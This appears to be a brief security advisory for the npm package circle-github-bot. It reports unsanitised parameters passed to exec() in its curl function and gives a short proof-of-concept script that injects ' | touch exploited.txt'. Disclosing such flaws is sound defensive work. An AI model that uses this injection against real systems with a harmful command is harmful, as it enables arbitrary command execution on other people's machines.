Package circle-github-bot: The call to function curl (#28) in src/dist/index.js does not sanitize the parameters passed to exec(), enabling the injection of something like " | touch exploit.txt".

circle-github-bot_poc.js

'use strict'


const pkg = require('circle-github-bot');

const i = new pkg();
i.env = {};

// This will create a local 'exploited.txt' file.
i.curl('', ' | touch exploited.txt', '');